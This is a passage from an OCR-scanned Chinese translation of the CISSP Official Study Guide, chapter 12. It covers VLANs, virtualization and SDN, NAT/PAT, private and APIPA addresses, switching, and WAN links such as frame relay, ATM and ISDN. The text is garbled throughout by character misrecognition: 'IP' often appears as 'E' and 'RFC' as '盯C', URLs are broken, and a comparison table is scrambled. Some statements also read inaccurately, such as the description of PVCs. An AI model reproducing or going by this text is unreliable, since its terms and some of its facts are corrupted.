称 。 这样， 在 同一个网络上可 以创建多个逻辑网络分段。
在相同 叽剧 中 的端口之间通信是没有阻碍的。 不同 VLAN 之间 的通信可以通过使用路由功
能拒绝或支持 。 路由可以由外部路由器或交换机的 内 部软件提供(可 由 多层交换机提供)。
因 为安全或性能的原因， VLAN 管理使用 VL剧控制流量。 VLAN 执行多个流量管理功能， 其
中 一些是与安全相关的:
• 控制和限制广播流量 。 阻断子网和 VLAN 中 的广播 。 .
• 隔离网络分段间 的流量。 默认情况下， 不 同 VLAN 之间没有提供彼此之间通信的路由 。 也
可以允许 VL剧 间 的通信 ， 但是要在特定 的 VALN 间(或 VL剧 的特定成员 间)指定拒绝
过滤。
• 减少网络监昕的脆弱性。
• 防止广播风暴(多余的网络广播流量泛洪)。
一些 VL剧 部署的另一个元素是端 口 隔离或私有端口。 这些私有 VL剧 的配置是为了使用一
个专用 的或预留 的上行端口。 私有 VLAN 或端 口 隔离 VLAN 的成员仅可以通过预定的 出 口或上行
端 口进行相互通信。 一种端口 隔离的常见示例是在酒店里。 酒店网络可以被配置以便于将每个房间
或套房的 以太网端口隔离在单独的 VLAN 中 ， 从而达到相同单元的实体可以通信而不同单元的实体
不 能通信的 效果 。 但是， 所有这些私有 VLAN 都有一条到互联网(即上行端 口 )的路径 。
提示 :
VLAN 的作用 就像子网， 但是记住它们不是真正的子网 。 VLAl'咱是由 交换机生成的 。 子网却是
由 IP 地址和子 网 掩码构成的 。
用 于安全的 VLAN 管理
不需要彼此通信去完成工作任务/功能的千到可网段都不应该能够这样做。 使用 VLAN 九许必要
的 ， 而 阻断/拒绝任何不必要的 。 需要记住， "默认拒绝; 九许例外" 不仅仅是一条防火墙规则 ， 而
且是一条安全通用 准 则 。
1 2.7 虚拟化
虚拟化技术用来在单一主机的内存中承载一个或多个操作系统。 这种机制允许在任意硬件上虚
拟任意的操作系统。 这样的操作系统也被称为客户端操作系统。 根据这个观点， 存在在计算机硬件
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CISSP 官方学习指南(第 7 版)
上直接安装的原始或宿主操作系统， 被托管在虚拟机管理系统上的额外操作系统是客户端操作系统。
它同样允许多个操作系统同时使用相同的硬件进行工作。 常见的例子包括 VMWare、 微软的 VJrtual
PC 和 Virtual Server、 Windows Server 2008 的 Hyper-V、 VirtualBox 和苹果的 Parallels。
从用户 的角 度看 ， 虚拟化的服务器和服务与传统的 服务器和服务没有区别。
虚拟化有几个好处， 例如， 能够在需要的情况下， 启 动单个服务器或服务的实例 ， 实时的可扩
展'性， 并且能够运行应用程序所需的额外操作系统版本。 此外， 从受损、 崩溃或损坏的虚拟系统恢
复往往十分简单快捷: 只需要用干净的备份版本简单取代虚拟系统的主硬盘文件， 然后重新启动
即可。
在安全性方面， 虚拟化提供了 几个好处。 整个虚拟系统的备份比同等安装在本地硬件上的系统
更容易和更快速。 另外， 当 出现错误或问题时， 虚拟系统可以在几分钟 内被备份替换。 虚拟系统的
恶意代码破坏或感染很难影响主机操作系统 ， 这将有利于进行安全测试和实验 。
虚拟化被用于各种各样的新的体系结构和系统设计解决方案。 云计算是一种最终的虚拟化形式
(更多关于云计算的信息， 请参阅第 9 章 " 安全脆弱性、 威胁和对策" )。 本地(或至少在组织的私有
基础设施中)， 虚拟化可以用在宿主服务器、 客户端操作系统、 受限的用户接口(即虚拟桌面)应用 以
及其他更 多 的应用 。
1 2.7. 1 虚拟化软件
虚拟化应用程序是一种软件产品， 它的部署方式是让它误以为在和一个完整的主机操作系统进
行交互。 一个虚拟(或虚拟化)应用被打包或封装， 使它具备移动性和在不用完整安装原有主机操作
系统的情况下运行。 虚拟应用能充分利用原始主机操作系统， 并包含在封装气泡中(技术上称为虚拟
机或 VM)， 它的运作/功能就类似于传统的安装。 虚拟应用的一些形式被用于 USB 驱动器上的移动
应用(简称应用)。 其他虚拟应用被设计运行在另一个宿主操作系统平台上， 例如运行在 Linux 操作
系统上的 Windows 应用 。
" 虚拟桌面 " 这个术语指的 是至少三种不 同类型的技术:
• 一种远程访问工具， 允许用户访问远程的计算机系统， 并允许他远程查看和控制远程桌面
显示、 键盘、 鼠标等。
• 虚拟应用概念的扩展， 封装多个应用和一些 " 桌面 " 形式， 或用于移动性和跨操作系统的
外壳。 这种技术给用户提供了平台的一些功能效益应用 ， 而无需多台电脑、 双启动或虚拟
化整个操作系 统平台。
• 扩展或扩展桌面， 它们的尺寸大于使得用户 可使用多个应用程序的布局， 以方便使用按键
或 鼠标动作间 的切换。
第8章 " 安全模型的原则 、 设计和功能" 和第 9 章 " 安全脆弱性、 威胁和对策 " 中有更多关于
安全架构和设计的虚拟化信息。
1 2.7.2 虚拟化网络
操作系统虚拟化的概念已经引发了其他虚拟化的话题， 例如虚拟化网络。 虚拟化网络或网络虚
拟化是将硬件和软件网络组件组合成单一合成实体。 由此产生的系统允许软件控制所有网络功能:
包括管理、 流量整形、 地址分配等。 单一的管理控制台或接口可以用来监视网络的每一个方面， 而
第 1 2 章 安全通信和网络攻击
在过去， 一个任务需要在每个硬件组件里都有硬件的存在。 虚拟化网络己经成为全球企业范围内部
署和管理的一种流行方式。 它们允许组织实施或调整其他有意思的网络解决方案， 包括软件定义网
络 、 虚拟 SAN、 客户端操作系统 以及端 口 隔离 。
软件定义网络(SDN)是一种独特的网络操作、 设计和管理方法。 该概念基于这样一个理论 ， 即
传统网络设备配置(如路由器和交换机)的复杂性经常强迫组织依附于单一的设备厂商， 如屈、科， 从
而限制了网络的灵活性而难以应付不断变化的物理和商业条件。 SDN 旨在从控制层(即网络服务的
数据传输管理)分离基础设施层(即硬件和基于硬件的设置)。 此外， 它消除了 E 寻址、 子网 、 路由的
传统网络概念， 以及 以此类推的需要被托管应用进行编程或破译的需求形式。
SDN 提供了一种新的直接从中心位置编程的网络设计方式， 它是灵活的、 厂商无关的并基于开
放标准。 利用 SDN 使得组织可以不再从单一供应商采购设备 。 相反， 允许组织混合和匹配需要的
硬件， 如选择最划算的或最高通过性能的设备， 而无论供应商是谁。 然后通过集中管理界面控制硬
件 的配置和管理。 此外， 应用 于硬件的设置可 以 根据动态 的需求进行变更和调整。
对 SDN 的另一种思考方式是有效的网络虚拟化。 它使数据传输路径、 通信决策树和流控都在
SDN 控制层进行虚拟化， 而不是在每个设备的 基础硬件上进行处理。
虚拟化网络的发展所产生的另一个有趣概念是虚拟 S川(存储区域网络)o SAN是一种网络技术，
它将多个单独的存储设备组合成单一综合的网络访问存储容器。 虚拟 SAN 或软件定义共享存储系
统是一种虚拟网络或 SDN 上 的 SAN 虚拟重构 。
1 2.8 网络地址转换
隐藏内部客户端的身份、 隐蔽私有网络设计以及使公共 E 地址租用成本最低， 这些功能都可以
通过使用 网络地址转换(NAT)方便地实现。 NAT 是一种将包头中的内部 E 地址转换为公共 E 地址 ，
从而在互联网上进行传输的机制 。
人们开发 NAT 是为了允许专用 网络使用任何 E 地址集， 并且不会与具有相同 E 地址的公共互
联网主机发生冲突或抵触。 事实上， NAT将内部客户端的 E 地址转换为外部环境中 的租用地址。
NAT 提供了很多优点 ， 包括 :
• 能够只 使用一个(或几个)租用 的公共 IP 地址将整个网络连接到 互联网 。
• 始终能够在与互联网通信的情况下 ， 将 盯C 1918 中 定义的专用 E 地址用于专用 网络。
• NAT 通过互联网隐藏 IP 地址方案和网络拓扑结构
• NAT 还通过限制连接提供了 保护， 从而使只有来 自于内部受保护网络的连接才被准许从互
联 网返回网络。 因此， 大多数人侵攻击会被 自 动击退。
⑧ 真实场景
你使用 NAT 了吗?
无论是办公室还是家庭， 大多数网络都利用 了 NAT. 至少可以通过三种途径来判断 自 己的 网 络
是否 利 用 了 NAT。
1 ) 查看 自 己客户 端的 E 地址， 如果属于 RFC 1918 中 定义的地址， 并且仍然能够与互联网 交互，
那么你的网络就利用 了 NAT.
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CISSP 官方学 习指南(第 7 版)
2) 查看代理、 路由器、 防火墙、 调制解调器或网 关设备的配直， 了 解是否配直 了 NAT。 显然，
这个操作需要获得授权才 能访 问 网 络连接设备。
3) 如果客户 端E地址不属于RFC 1918中 定义的地址， 那么将其与王联网认为的地址;f目比较。 通
过访问任何E检查Web站点(常用 的一个站点是btφ://whatismyipaddress. com)就可以完成这个操作。 如
果客户 端E地址与h即://whatismyipaddress.com站点确定的地址不同， 那 么你 的 网络就使用 了NAT。
注意 :
通常， 安全专 家提到 的 NAT 实 际上是 PAT。 从定义上看， NAT 将一个内部的 E 地址映射为一
个外部的 E 地址。 但是， 端 口地址转换σ�川夺一个内 部的 1P 地址映射为一个外部 E 地址和端口号
的组合。 因 此， PAT 理论上在单个外部租用 E 地址上可以支持 65 536(2^16)个来 自 内 部客户 端的、
同 时发生的通信。 如果使用 NAT， 那么租用 的公共 E 地址数必须与期望同 时发生的通信数相同;
如果使用 PAT， 那 么可以租用较少的公共 1P 地址， 内 部客户 端数量与外部租用 E 地址数量的适当
比率为 1 00 : 1 。
在很多硬件设备和软件产品中都可 以找到 NAT， 这些设备和产品包括防火墙、 路由器、 网关和
代理。 NAT 只 能用在 IP 网络中 ， 并且在 OSI 模型的 网 络层(第 3 层)上工作。
1 2.8.1 专用 I P 地址
近来， 由于对公共 E 地址不足和安全担忧的增加， NAT 的使用得到了 '快速增长。 lPv4 的可用
地址空间只有 40 亿个(2^32)左右 ， 但是全世界还在部署比可用唯一 E 地址更多的设备。 幸运的是，
互联网和 TCPIIP 的早期设计者具有很好的前瞻性， 他们为专用 的无限制 的网络留出了一些地址空
间 。 这些 IP 地址通常被称为专用 E 地址 ， 在 RFC 1918 中 进行了定义 ， 如下所示:
• 10.0.0.0�1 0.255.255 .255(整个 A 类范 围)
• 1 72. 1 6.0.0� 1 72.3 1 .255.255(16 个 B 类范围)
• 1 92. 1 68.0.0� 1 92. 1 68.255.255(255 个C类范围)
⑩ 真实场景
不能再次进行 NAT!
在某些情况下， 我们需要对已进行NAT的 网络重新进行NAT. 这就会发生重新进行NAT的操作;
需要在已进行NAT 的 网络内 生成一个孤立的子网 ， 并且尝试通过将驻留新子网 的路由器与 已有
网 络提供的单个端 口 连接在一起来完成这样的操作 .
此外， 如果具有只 能提供单个连接的 DSL 或线缆调制解调器， 但是却具有多 台计算机或者希望
在环境中 添加无线通信 ， 那 么 也可能出现这种情况。
通过连接 NAT 代理路由器或无线接入点 ， 我们往往可以 尝试对先前已进行NAT 的 网络重新进
行 NAT。 启用 或禁用这个功能的一个配直设直是所使用 的 E 地址范围 。 同 一子网不可能重新进行
NAT。 例如， 如果已有的 网络提供 192. 168. l.x 地址， 那 么在新的 NAT 子网中就不能千却有相同 的地
址范围 。 因 此， 修改新的路由 器/WAP 配直， 从而对稍有不同 的地址范围(例如， 1 92. 168.5.x)执行
NAT， 也就不会出 现冲 突的情况。 这似乎显而 易 见， 但是如果没有认识到 问 题的 实质 ， 那 么 就会得
到 不希望看到的结果。
第 12 章 安全通信和网络攻击
所有的路由器和通信控制设备被配置为在默认情况下不转发来自 或到达这些 E 地址的通信 。 换
句话说， 专用 E 地址在默认情况下不进行路由。 因此， 它们不能直接用于互联网上的通信。 然而，
它们可以被轻松地用在专用 网络中 ， 相应的专用网络可能没有使用路由器， 或者可能只对路由器的
配置进行了 少许改动 。 通过允许从 ISP 处租用较少的公共 E 地址 ， 结合使用专用 E 地址与 NAT 能
够大大减少连接互联网 的成本。
警告 :
因 为所有公共可访问 的路由 器会丢弃包含来 自 专用 IP 地址范围的源或 目的E 地址的数据包，
所以在王联 网 上试图 直接使用 这些 RFC 1918 范 围 的地址是无用 的 。
1 2.8.2 状态 NAT
进行 NAT 操作时， 会在内部客户端生成的请求、 客户 的内部 IP 地址以及联系的互联网服务的
IP 地址之间维护一个映射。 当 NAT 从客户端接收到请求数据包时， 就会将数据包的源地址从客户
端的地址修改为 NAT 服务器的地址。 这个变化以及 目 的地址被记录在 NAT 映射数据库中 。 一旦从
互联网服务器接收到应答， NAT 就将应答的源地址与存储在映射数据库中 的地址进行匹配， 然后使
用链接的客户端地址将响应数据包重定 向至预定 的 目 的地。 由于维护了客户端和外部系统之间通信
会话的相关信息 ， 因 此这个过程被称为状态 NAT。
NAT 可以在一对一的基础上进行操作， 这时一次只有单个内部客户端可以通过其中一个租用 的
公共 E 地址进行通信 。 如果数量比公共 E 地址更多 的客户端试图进行互联网访问 ， 那么这种配置
类型就会导致瓶颈的出现。 例如， 如果只有 5 个租用 的公共 IP 地址， 那么第 6 个客户端必须等到有
一个地址被释放后才能在互联网上传输通信数据。 其他 NAT 形式使用 了 多路复用技术， 此时端 口 号
被用于准许在单个租用 的公共 E 地址上管理来自 多个内部客户端的通信。 从技术上讲， 这种 N必T
复用方式被称为端口地址转换伊'AT)或超载的 NAT， 但似乎行业内 仍然使用术语 NAT 来指这个新的
版本。
1 2.8.3 静态 NAT 与动态 NAT
可 以使用 的 NAT 有两种模式: 静态 NAT 和动态 NATo
静态 NAT 将特定的内部客户端的 IP 地址永久地映射到特定的外部公共 E 地址时， 就会使用
静态模式的 NAT。 即使使用 盯C 1918 定义的 E 地址 ， 静态 NAT 也会允许外部实体与专用 网络内
部的系统进行通信 。
动态 NAT 动态模式的 NAT 允许多个 内部客户端使用较少的租用公共 E 地址。 因此， 即使租
用 的公共 IP 地址较少， 较大的 内部网络也仍然能够访问互联网 。 这种模式使出现公共 E 地址滥用
的情况最少， 并且将互联网访 问成本降至最低。
在动态模式的 NAT 实现中 ， NAT 系统维护了一个映射数据库， 从而使来自互联网服务的所有
响应信息正确地路由至最初的内部请求客户端。 NAT 常常与代理服务器或代理防火墙相结合， 从而
提供额外的互联网访 问和内容缓存功能 。
因为 NAT更改了数据包头 ， 而 IPSec 依赖数据包头来阻止安全违规，所以 NAT 并不直接与 IPSec
相容。 不过， 某些版本的 NAT 代理被设计为在 NAT 上支持 IPSeco IPSec 是一种基于标准的机制，
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CISSP 官方学 习指南(第 7 版)
这种机制为点对点 TCP/IP 通信提供了 加密保护 。
1 2.8.4 自 动私有 I P 地址寻址
一旦 DHCP 分配失败， 自 动私有 E 地址寻址(APIPA)， 又叫作本地链路地址分配(在 盯C 3927
中有定义)， 会为系统指派 E 地址。 APIPA 基本上是一项 Windows 功能。 APIPA 为每个失败的 DHCP
客户端指派位于 169.254.0. 1 到 169.254.255.254 范围内 的一个 E 地址(以及默认 B 类子网掩码
255.255.0.0)。 这允许系统与同一广播域内其他配置 APIPA 的客户端进行通信， 但是不能跨越路由器
与任何系统通信 ， 也不能与正确分配 了 IP 地址的任何系统通信 。
注意 :
不要混淆 APIPA 和 RFC 1918 中 定义的私有 IP 地址范 围 。
APIPA 通常不直接涉及安全。 然而， 它仍然是一个需要理解的重要问题。 如果发现一个系统被
分配一个 APIPA 地址而不是有效的网络地址， 这说明存在问题。 这个问题可能和电缆损坏或 DHCP
服务器电源故障一样平凡， 但也可能是对 DHCP 服务器恶意的攻击症状。 你可能会被要求解释 E
地址分配问题出 自 哪里。 你应该能够识别一个地址是否是公共地址、 盯C 1918 私有地址、 APIPA 地
址或环回地址。
IP 地址数字转换
E 地址和子网 掩码实 际上是二进制数， 并且通过在二进制 中使用 ， 所有的路由和流量管理功能
才得以 实现。 因此， 了 解十进制 、 二进制甚至十六进制之间 的转换是非常必要的 。 此外， 也不要忘
记如何将十 进制 点符号表示 的 IP 地址(例如， 172. 16.1.1)转换为相应 的 二进制 形 式 (也就是
10101100000 1 000000000001 00000001)， 甚至还可能需要将这个 32 位的二进制数转换为羊个十进制
数(也就是 2 886 729 985)。 当 试图剧时期胡的地址时， 掌握数字转换的知识是有帮助的。 如果对这
一领域不熟悉， 那么可以利用在线转换工具， 例 如下面的网址: h即://www.mathsisfun.∞m1bin缸ydecima1-hexadecirna1-converter.htrn1
⑩ 真实场景
回送地址
另 一种应 当 小心不要与 RFC 1918 混淆的 E 地址是回送(loopback)地址。 回送地址完全是一种软
件实体。 这种 IP 地址被用 于创建通过 TCPIIP 协议连接 自 身 的软件接 口 。 即使网络硬件和相关的设
备驱动程序丢失、 损坏或失效， 回送地址也能够九许对本地网 络设直进行测试。 从技术上讲， 完整
的 127.x.x.x 网 络被预 留给回送使用 。 不过， 只 有 1 27.0.0. 1 地址得到 了 广 泛使用 。
近来， Windows XP SP2 (可能还有其他更新)限制客户 端只能将127.0.0. 1用作回送地址， 这会导
致 某些使用 127.x.x.x网 络服务的 高端范围 内 其他地址的应 用 程序失败。 在限制客户 端只 能使用
127.0.0. 1地址时， Microsoft会尝试打开无用 的A类地址。 虽 然对于Microsoft来说是成功的， 但是这种
策咯只 对现代的Windows系统产生影响。
第 1 2 章 安全通信和网络攻击
1 2.9 交换技术
两个系统(单独的计算机或 LAN)通过多个中 间 网络连接时， 从一个系统向另一个系统传输数据
包的任务是非常复杂的过程。 为了简化这个任务， 交换技术应运而生。 下面首先介绍第一种交换技
术 : 电路交换。
1 2.9.1 电路交换
电路交换最初是为了 管理公共电话交换网 中 的电话呼叫而开发的。 使用 电路交换技术时， 在两
个通信方之间会创建一条专用的物理路径。 一旦建立了呼叫 ， 两个通信方之间 的连接在会话过程中
就将持续保持。 这种交换技术提供 了 固定的或己知的传输时间 、 统一级别的通话质量， 并且极少出
现数据丢失或者通信 中断的状况。 电路交换系统使用 了 永久的物理连接。 不过， 这里的术语 " 永久 "
只 是针对每个通信会话而言。 在单一对话中 ， 通信双方的物理连接路径永久地贯穿始终。 连接路径
被断开后， 即使相同的通信双方再次进行通信， 也有可能组装一条不同 的路径。 在单一对话期间 ，
通信的全过程使用相同 的物理或电子路径， 并且这条路径只能被用于该通信。 电路交换授权当前的
通信双方专用 的一条通信路径 。 只 有在会话结束后 ， 其他的通信双方才能重新使用这条路径。
@ 真实场景
现实生活中的电路交换
在现代社会中(或者说近 10 到 1 5 年以来)， 实 际上很少存在电路交换。 在数据和语音通信中 ，
普遍存在的是接下来将要讨论的分组交换。 数十年前， 我们总是将公共电话交换网σsη吗作为 电路
交换的主要示例， 然而 随着数字 交换与 VoIP 系 统的 出现， 这样的状况已经一去不返。 不过， 这并非
意味着现实生活中 不存在电路交换， 而是仅仅说明 电路交换不再用 于数据传输。 相反， 仍然能够在
铁路广 场 、 灌溉系 统甚至 电力分布 系 统中发现电路交换的存在。
1 2.9.2 分组交换
随着计算机通信的 日 益增长和语音通信的萎缩， 科技人员最终开发了一种新的交换形式。 发生
分组交换时， 报文或通信先被分为若干小段(往往根据所使用 的协议与技术分为长度固定的分组)，
然后通过中间网络发送至 目 的地。 每个数据段都有 自 己的头部， 头部中包含源与 目 的信息。 所有中
间系统都会读取数据段头部中 的信息， 并且使用这些信息将每个分组分发至各自希望到达的 目 的地。
每条信道和通信路径都只能在某个分组确实利用该信道进行传输时才保留供其使用， 一旦分组完成
发送， 这条信道就会被其他通信所使用 。
分组交换并不实施通信路径的排他性。 因为逻辑寻址指示了 通信信息如何穿越通信双方之间的
中间网络 ， 所 以 分组交换可以被视为一种逻辑传输技术 。 表 12.2 比较了 电路交换与分组交换。
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CISSP 官方学 习指南(第 7 版)
连续通信
己知的固定延迟
面向连接
易 受连接损耗的影H向
主要用于语音通信
电路交换
表 1 2.2 电路交换与分组交换的比较
突发通信
可变延迟
无连接
易受数据损耗的影响
用于任何通信类型
分组交换
关于安全性， 需要考虑一些潜在的 问题。 分组交换系统将来 自 不同来源的数据放在相同 的物理
连接上。 这可能会导致数据泄露、 数据损坏或数据丢弃。 通常需要适当的连接管理、 通信隔离和加
密 ， 来防止共享物理路径的关注问题。 分组交换网络的一个好处就是， 它不像电路交换一样依赖于
特定物理连接。 因此， 如果或者当一条物理路径被破坏或离线， 一条备用路径可以用来继续数据/
包 的传递。 电路交换网 络经常 由于物理路径被侵害而导致中断。
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1 2.9.3 虚电路
虚 电路(也被称为通信路径)是一种在两个指定端点之间 的分组交换网上创建的逻辑路径或电
路。 在分组交换系统中 ， 存在下 列两类虚 电路:
• 永 久虚 电路(Permanent Virtual Circuit， PVC)
• 交换虚 电路(Switched Virtual Circuit， SVC)
PVC 类似于专用租用线， 这种逻辑电路始终存在并等待客户发送数据。 PVC 在使用前创建， 但
在传输结束后拆除。 SVC 更像是拨号连接， 因 为虚 电路在使用前必须使用可获得的最好的路径， 然
后在传输完成后进行链路拆解。 在任何一种虚电路类型中 ， 当一个数据包进入虚电路连接的点 A 时，
这个数据包会被直接发送至点 B 或虚 电路的另一端。 然而， 一个数据包的实际路径可能与同一传输
中其他数据包的传输路径不同。 换句话说， 作为虚电路终端的点 A 和点 B 之间可能存在多条路径，
但是进入点 A 的所有数据包最终都会被传输至点 B。
PVC 像是双向无线点或对讲机。 无论通信何时需要， 按下按钮便可以说话; 无线电重新 自 动打
开预设的频率(即虚电路)0 SVC 更像是一个短波或业余无线电。 每一次你想与某人进行通信时， 你
必须调整发射机和接收机到一个新的频率。
1 2.10 WAN 技术
WAN 连接用来把远端网络、 节点或单个设备连接在一起。 虽然可以提高通信和效率， 但也会
给数据带来风险。 适当的连接管理和传输加密对于确保安全的连接是必要的， 尤其是在公共网络上
连接时 。 广域网连接和远程连接技术可 以 分为两大类:
专线(也叫作租线或点对点连接)是一种长期保留 以供指定客户使用的线路(参看表 1 2.3)。 专线始
终保持畅通， 并且随时等待传输通信数据。 客户 的 LAN 与专用 WAN 链路之间的连接始终是开放和
确定的。 一条专线连接两个指定终端， 并且一共只连接这两个终端。
第 12 章 安全通信和网络攻击
表 1 2.3 专线示侣。
技术 连接类型 速度
。 级数字信号(DS-O) 部分 T l 64Kbps 至 1 .54Mbps
l 级数字信号(DS-l ) Tl l .544Mbps
3 级数字信号(DS-3) T3 44.736Mbps
欧洲数据传输格式 l El 2.1 08Mbps
欧洲数据传输格式 3 E3 34.368Mbps
线缆调制解调器或线缆路由 器 I OMbps 以上
非专线是一种在发生数据传输前需要建立连接的线路。 非专线能够用于连接使用 同种非专线的
任何远程系统 。
用 不同的运营商网络连接实现故障冗余
为 了 在使用 专线或与运营商的网络连接(也就是帧 中继、 ATM、 SONET、 SMDSF 和 X.25 等)时
实现容错， 必须部署两个冗余连接。 如果想得到更大的 冗余， 那 么还可以 购买 来 自 两 个不 同 电信公
司 或服务提供商的连接。 不过， 在使用来自 两个不同服务提供商的连接时， 必须确认这两个服务提
供商没有连接相同 的地区主干 网或共享任何主要的 网路。 如果没有财力部署第二条专线， 那么可以
考虑非专线的 DSL、 ISDN 或线缆调制解调器连接。 在主专线出 现故障时 ， 这些廉价的选择仍然能
够在一定程度上满足使用 需求。
标准的调制解调器、 DSL 以及 ISDN 都是属于非专线的例子。 数字用户线路。)Sυ技术利用升
级 电话网使用户 的通信速度达到 144Kbps 至 6Mbps(或更高)的水平。 DSL存在多种格式， 例如 ADSL、
xDSL、 CDSL、 HDSL、 SDSL、 RASDSL、 IDSL 与 VDSL， 每种格式的区别在于所提供的下行带宽
和上行带宽有所变化。
提示 :
针对考试而言， 不必尝试死记各种 DSL 子格式的所有细节， 而是只 需要理解 DSL 的总体概念。
从电话总机(也就是 电话网 中特有的一种分配节点)开始， DSL线路的最大传输距离大约为
1 000米。
综合业务数字网(ISDN)是一种完全数字化的电话网 ， 能够同时支持语音通信和高速数据通信。
ISDN 服务存在两种标准等级或格式:
• 基本速率接口(Basic Rate Inte白ω， BRI)为客户提供的连接具有两个 B信道和一个 D信道。
B 信道支持 64Kbps 的吞吐量， 被用于数据传输。 D 信道则用于呼叫的建立、 管理与拆除，
带宽为 16Kbps。 尽管 D 信道没有被设计用来支持数据传输， 但 BRI ISDN 仍然号称为客户
提供的总吞吐量为 1 44Kbps。
• 主速率接口(Primary Rate Interfaæ， PRI)为客户提供的连接具有 2 至 23 个 64Kbps 的B信
道和一个 64Kbps 的D信道 。 因此， 我们部署的 P阳 最小为 1 92Kbps， 最大可 以达到
1. 544Mbps。 不过需要记住的是， 因为包含不能用于实际数据传输的 D 信道(至少在大多数
正 常的商业应用 中 情况如此)， 所 以这些数字指的是带宽而不是数据吞吐量。
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CISSP 官方学 习指南(第 7 版)
提示 :
当 考虑连接方式时， 千万不要忘记卫星连接。 即使是在基于线路、 无线电波或视线的通信无法
到 达的场所， 卫星连接也仍然可能提供高速通信解决方案。 不过， 由 于覆盖范围过大， 因此卫星也
被认为是不安全的。 任何人都能够截获卫星通信。 当然， 如果使用 了 强加密， 那么卫星通信也是相
当 安全的。 以 卫星广播为例， 只要拥有收音机， 就能够在任何地方接收到 广播信号。 但是， 如果没
有 开通付费服务， 那 么 无 法正常收听到 广播。
1 2.10.1 WAN 连接技术
对于在多个地点， 甚至包括国 外合伙人之间需要通信服务的公司来说， 可 以使用 的 WAN 连接
技术有很多 。 这些 WAN 技术在成本与吞吐量方面的差异相当大。 不过， 大多数 WAN 技术都具有
对所连接 LAN 或系统透明 的共同特征 。 WAN 交换机、 专门的路由器或边界连接设备提供了 在网络
运营商服务与公司 LAN 之间所需的所有接口。 边界连接设备也称为信道服务单元/数据服务单元
(Channel Service Unit/Data Service Unit， CSUIDSU)。 这些设备将 LAN 信号转换为 WAN 运营商网络
所使用的格式 ， 反之亦然 。 CSUIDSU 包含数据终端设备/数据 电路终端设备(Data Terrninal
EquipmentIData Circuit-Terminating Eq山pment， DTEIDCE)， 这些设备为 LAN 的路由器(DTE)与 WAN
运营商网络的交换机(DCE)提供了 实际的连接点。 CSUIDSU 起到了转换器、 存储转发设备与链路调
节器的作用 。 WAN 交换机只是 LAN 交换机的特殊形式， 也就是针对特定类型的运营商网络在结构
中 内置了 CSUIDSU。 运营商网络(或 WAN 连接技术)存在多种类型 ， 如 X.25、 帧中继σrame Relay)、
ATM 与 SMDS。
1 2. 1 0.2 X.25 WAN 连接
374
X.25 是一种出现较早的分组交换技术， 并且在欧洲范围内被广泛应用 。 这种技术使用永久虚电
路在两个系统或网络之间建立特定的点对点连接。 X.25 是帧中继的前身， 二者的运作方式几乎一模
一样。 不过， 与帧中继或 ATM 相 比， X.25 自身的性能较低、 吞吐速率较慢， 因此在逐步走向衰落。
1 2.10.3 帧中继连接
与 X.25 一样， 帧中继也是一种使用 PVC(详情可查看对虚电路部分的讨论)的分组交换技术。 然
而与 X.25 不一样的是， 帧中继在一条W必J运营商服务连接上支持多条 PVC。 帧中继是一种使用分
组交换技术在通信终端之间建立虚电路的第二层连接机制。 专线或租用线的成本主要取决于通信终
端之间的距离 ， 而帧中继的成本主要取决于传输的数据量。 帧中继网络是一种共享介质 ， 提供点对
点通信 的虚 电路就被创建在这种介质 中 。 所有虚 电路都是独立的， 并且彼此不可视。
承诺信息速率(Cornmitted Inforrnation Rate， CIR)是一个与帧中继相关的重要概念。 CIR 是服务
提供商向客户 保证的最小带宽， 通常远小于服务提供商网络的实际最大带宽。 根据具体约定， 每位
客户可能使用不同的 CIR。 在有可用的额外带宽时， 服务提供商可以允许客户在短时间 内使用超出
约定的 CIR， 这也被称为按需分配带宽。 尽管乍听起来似乎是一个显著的优势， 然而现实情况是客
户 占用额外的带宽时需要附加计费。 作为面向连接的分组交换传输技术， 帧中继在 OSI 模型的第 2
层(也就是数据链路层)上运作 。
第 1 2 章 安全通信和网络攻击
帧中继要求在每个连接点上都使用 DTElDCE。 客户拥有 DTE (类似于路由器或交换机， 并且为
客户 的网络提供对帧中继网络的访问)。 帧中继服务提供商拥有 DCE， 从而完成数据在帧中继网络
上的实际传输 以及为客户 建立和维护虚电路 。
1 2. 1 0.4 ATM
与诸如帧中继之类的分组交换不同 ， 异步传输模式(ATM)是一种信元交换 WAN 通信技术。 这
种技术将通信分片为若干长度固定为 53 字节的信元。 通过使用长度固定的信元， ATM 更有效率，
并且能够提供更高的吞吐量。 ATM 既可以使用 PVC ， 也可以使用 SVCo ATM 提供商保证租用服
务的最小带宽与指定的质量等级。 只 要再付一定的 费用 ， 客户就可以在服务网络可用的情况下根据
需要占用额外的带宽; 与前面介绍帧中继时提到的一样， 这种方式被称为按需分配带宽。 且M 是一
种面向连接的分组交换技术。
1 2.10.5 SMDS
交换式多兆位数据服务(SMDS)是一种无连接的分组交换技术。通常， S扎lOS 用 于连接多个 LAN，
从而组成城域网仙队N)或 WAN。 如果需要连接极少通信的远程 LAN， 那么 也在DS 往往是首边的连
接机制 。 SMDS 支持高速的突发通信量， 并且支持按需分配带宽。 SMDS 机制将数据分片为若干小
的传输信元。 考虑到使用 了 相似的技术， 所 以可 以将 SMDS 视为 ATM 的前身。
1 2.10.6 专 门的协议
某些W地J连接技术需要使用其他专门 的协议来支持各种各样特殊的系统或设备 。 下面列出了
其中三种协议: SDLC 、 HDLC 与 HSSI。
同步数据链路控制(SDLC) 同步数据链路控制被用在专门租用线路的永久物理连接上， 从而为
大型机(如 IBM 系统网络体系结构(SNA)系统)提供连通性。 运作在 OSI 模型第 2 层(即数据链路层)
上 的 SDLC 使用 了 轮询技术， 是一种面向 比特的同步协议。
高级数据链路控制(HDLC) 高级数据链路控制是 SDLC 的 改进形式， 专门针对同步串行连接而
设计。 HDLC 支持全双工通信， 并且支持点对点连接与多点连接。 与 SDLC 一样， HDLC 使用 了 轮
询技术， 同样运作在 OSI 模型的第 2 层(即数据链路层)上。 此外， HDLC 还提供流控制， 并且包括
差错检测与校正。
高速串行接口(HSSI) 高速串 行接 口是一个 DTEIDCE 接口标准， 它定义了复用器和路由器如
何连接高速网络运营商服务(如 ATM 或帧中继)。 复用器是一种能够实现在单条线路或虚电路上传输
多种通信或信号的设备 。 HSS 定义了接口或连接点 的 电气与物理特征， 因此该协议运作在 OSI 模型
的第 1 层(即物理层)上。
1 2.10.7 拨号封装协议
点对点协议σPP)是一种封装协议， 被设计用于支持在拨号或点对点连接上传输 E 通信数据。
PPP 允许通过 WAN 设备的多供应商互用性来支持串行连接。 所有拨号连接与大多数点对点连接在
本质上都属于串行连接(与井行连接相对)0 PPP 包含众多通信服务， 这些通信服务包括 E 地址的分
